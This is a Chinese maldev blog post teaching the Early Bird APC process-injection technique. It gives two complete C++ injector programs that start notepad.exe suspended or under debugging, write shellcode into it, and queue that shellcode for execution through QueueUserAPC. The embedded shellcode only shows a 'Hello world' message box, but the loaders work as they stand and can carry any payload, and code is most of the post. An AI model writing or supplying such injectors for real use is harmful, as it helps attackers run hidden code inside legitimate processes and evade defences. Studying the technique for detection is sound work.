【Maldev】Early Bird 注入

news/2025/1/17 13:51:26/文章来源:https://www.cnblogs.com/websecyw/p/18676787

一、介绍

QueueUserAPC 用于执行本地 APC 注入,APC 注入利用需要一个已挂起或可警报的线程才能成功执行 Payload。但是很难碰到处于这些状态的线程,尤其是以普通用户权限运行的线程,而Early Bird注入则是利用CreateProcess WinAPI 创建一个挂起的进程,并使用其挂起线程的句柄。挂起的线程符合 APC 注入的使用条件。

二、实现步骤

1、使用CreateProcessA函数创建一个挂起CREATE_SUSPENDED的进程

2、使用VirtualAllocEx在创建的进程当中申请一片内存

3、使用WriteProcessMemory将shellcode写入申请的内存当中

4、使用QueueUserAPC插入到该进程的主线程

5、使用ResumeThread恢复线程

三、代码实现

实现过程当注意:

CreateProcessA 需要 ANSI 版本的 STARTUPINFO(即 STARTUPINFOA),而传递了 Unicode 版本的 STARTUPINFO。通过将 STARTUPINFO 更改为 STARTUPINFOA

#include <windows.h>
#include <iostream>unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";BOOL BirdAPC(LPCSTR lpProcessName) {STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };// 初始化 STARTUPINFO 和 PROCESS_INFORMATION 结构ZeroMemory(&si, sizeof(STARTUPINFOA));  // 使用 ZeroMemory 清零ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));// 设置 STARTUPINFO 结构si.cb = sizeof(STARTUPINFOA);// 创建挂起的进程if (!CreateProcessA(lpProcessName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {std::cerr << "CreateProcessA failed with error: " << GetLastError() << std::endl;return FALSE;}// 分配内存空间用于 shellcodeLPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (lpBaseAddress == NULL) {std::cerr << "VirtualAllocEx failed with error: " << GetLastError() << std::endl;return FALSE;}// 写入 shellcode 到进程内存if (!WriteProcessMemory(pi.hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL)) {std::cerr << "WriteProcessMemory failed with error: " << GetLastError() << std::endl;return FALSE;}// 将 shellcode 执行排入线程if (!QueueUserAPC((PAPCFUNC)lpBaseAddress, pi.hThread, NULL)) {std::cerr << "QueueUserAPC failed with error: " << GetLastError() << std::endl;return FALSE;}// 恢复线程ResumeThread(pi.hThread);// 清理资源CloseHandle(pi.hThread);CloseHandle(pi.hProcess);return TRUE;
}int main() {if (BirdAPC("C:\\Windows\\System32\\notepad.exe")) {std::cout << "BirdAPC Success!" << std::endl;}else {std::cerr << "BirdAPC Failed!" << std::endl;}return 0;
}

另外一种实现:

DEBUG_PROCESS 标志将新进程创建为调试进程,并将本地进程设为其调试器。当一个进程作为调试进程创建时,一个断点将被置于进程入口点中。这个断点将暂停进程,并等待恢复执行有效载荷将被注入到目标进程中,通过 QueueUserAPC WinAPI 来执行。一旦有效载荷被注入,并且远程调试线程被排入队列以运行有效载荷,本地进程可以使用 DebugActiveProcessWinAPI 从目标进程中分离,该 API 将停止远程进程的调试功能

#include <windows.h>
#include <iostream>unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";BOOL BirdAPC(LPCSTR lpProcessName) {STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };// 初始化 STARTUPINFO 和 PROCESS_INFORMATION 结构ZeroMemory(&si, sizeof(STARTUPINFOA));  // 使用 ZeroMemory 清零ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));// 设置 STARTUPINFO 结构si.cb = sizeof(STARTUPINFOA);// 创建挂起的进程if (!CreateProcessA(lpProcessName, NULL, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &si, &pi)) {std::cerr << "CreateProcessA failed with error: " << GetLastError() << std::endl;return FALSE;}// 分配内存空间用于 shellcodeLPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (lpBaseAddress == NULL) {std::cerr << "VirtualAllocEx failed with error: " << GetLastError() << std::endl;return FALSE;}// 写入 shellcode 到进程内存if (!WriteProcessMemory(pi.hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL)) {std::cerr << "WriteProcessMemory failed with error: " << GetLastError() << std::endl;return FALSE;}// 将 shellcode 执行排入线程if (!QueueUserAPC((PAPCFUNC)lpBaseAddress, pi.hThread, NULL)) {std::cerr << "QueueUserAPC failed with error: " << GetLastError() << std::endl;return FALSE;}DebugActiveProcessStop(pi.dwProcessId);CloseHandle(pi.hProcess);return TRUE;
}int main() {if (BirdAPC("C:\\Windows\\System32\\notepad.exe")) {std::cout << "BirdAPC Success!" << std::endl;}else {std::cerr << "BirdAPC Failed!" << std::endl;}return 0;
}

  

参考链接:

https://idiotc4t.com/code-and-dll-process-injection/early-bird

《Maldevacademy》

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/870757.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ThreadPool解析

Thread_Pool 项目解析 简介 ThreadPool 是一个轻量级的 C++ 线程池实现,旨在简化多线程编程。 项目分析 我们首先上github的项目地址:https://github.com/progschj/ThreadPool,然后克隆项目到本地。点开项目的ThrealPool.h文件,查看源码: #ifndef THREAD_POOL_H #define TH…

[docker逃逸] 使用DirtyPipe漏洞逃逸

本文作者CVE-柠檬i CSDN:https://blog.csdn.net/weixin_49125123 博客园:https://www.cnblogs.com/CVE-Lemon 微信公众号:Lemon安全 前言 本文使用代码下载链接:利用CVE-2022-0847 (Dirty Pipe) 实现容器逃逸 (github.com) 由于本人才疏学浅,本文不涉及漏洞原理,仅有复现…

RestAPI实现聚合

API语法 聚合条件与query条件同级别,因此需要使用request.source()来指定聚合条件。聚合的结果解析:@Override public Map<String, List<String>> filters(RequestParams params) {try {// 1.准备RequestSearchRequest request = new SearchRequest("hotel&…

elasticsearch之数据聚合

**聚合(aggregations)**可以让我们极其方便的实现对数据的统计、分析、运算。例如:什么品牌的手机最受欢迎? 这些手机的平均价格、最高价格、最低价格? 这些手机每月的销售情况如何?实现这些统计功能的比数据库的sql要方便的多,而且查询速度非常快,可以实现近实时搜索效…

【通讯协议】OPC协议

OPC通讯协议 特点:支持多种数据结构和负责数据类型,需要多的硬件和软件资源,成本较高,安全性较高。 应用场景:连接多个不同工业自动化设备 什么是OPC通讯协议 OPC是英文“OLE for Process Control”的缩写,是工业自动化领域中的一种工业通信标准。它通过定义一些在不同平…

海外泼天流量|浅谈全球化技术架构

本文对海外泼天流量现状做了快速整理,旨在抛砖引玉,促进国内企业在出海过程中,交流如何构建全球化技术架构的落地经验,相信会有越来越多资深人士分享更深层次的实践。 登陆小红书,搜索 refugee,你就能看到一个不一样的小红书。随机点击几个,让大数据记住你,就能持续看到…

绿联网卡

目录1: 安装2:检查3:常见问题网络连接有网卡,状态为已禁用 1: 安装插入电脑 弹窗“Setup.exe”,安装驱动, 如果没有驱动,则找到 Ugreen Wireless进行驱动安装。驱动安装成功后效果2:检查驱动安装好后,u盘插拔一下,观察确定是哪个WLAN3:常见问题 网络连接有网卡,状态为…

kali安装教程

kali和GNOME桌面安装教程 kali下载 https://www.kali.org/get-kali/ 到kali官网,下载镜像安装下载完应该是:kali-linux-2024.4-installer-amd64.iso 然后新建虚拟机选择稍后安装操作系统:选择如图所示操作系统 后面的,我都给的挺多,主要不想它卡,哈哈哈网络选择NAT就行,…

车辆拥堵交通事故识别系统

车辆拥堵交通事故识别系统通过在关键路段部署监控摄像机,车辆拥堵交通事故识别系统借助 YOLOv8 算法的强大目标检测能力,能够精准识别出车辆、行人等交通参与者。一旦发生车相撞、车辆倾翻、骑车倾翻、路面有人摔倒或打架等异常事件,系统便迅速触发抓拍预警。系统还具备灵活…

[rustGUI][iced]基于rust的GUI库iced(0.13)的部件学习(04):实现窗口主题(颜色)变换(暨menu菜单的使用)

前言 本文是关于iced库的部件介绍,iced库是基于rust的GUI库,作者自述是受Elm启发。 iced目前的版本是0.13.1,相较于此前的0.12版本,有较大改动。 本合集是基于新版本的关于分部件(widget)的使用介绍,包括源代码介绍、实例使用等。 环境配置 系统:window10 平台:visual…

网络认证

网络认证 网络认证概述 网络认证:Windows网络认证是指在Windows操作系统中进行网络通信和资源访问时,验证用户身份和授权权限的过程。它确保只有经过身份验证的用户能够访问网络资源,并根据其权限级别进行授权操作。 网络认证有哪些? 1.用户名和密码认证:这是最常见的认证…

ffmpeg简易播放器(1)--了解视频格式

视频帧 对于一份视频,实质上是多张图片高速播放形成的。每一张图片即为该视频的一帧。而每秒钟播放的图片张数便为所谓的帧率(Frame Rate/Frame Per Second)。常见的帧率有24fps(即一秒播放24张图片),60fps(一秒播放60张图片)等。也就是说,对于一个时长60秒的图片,如果帧率…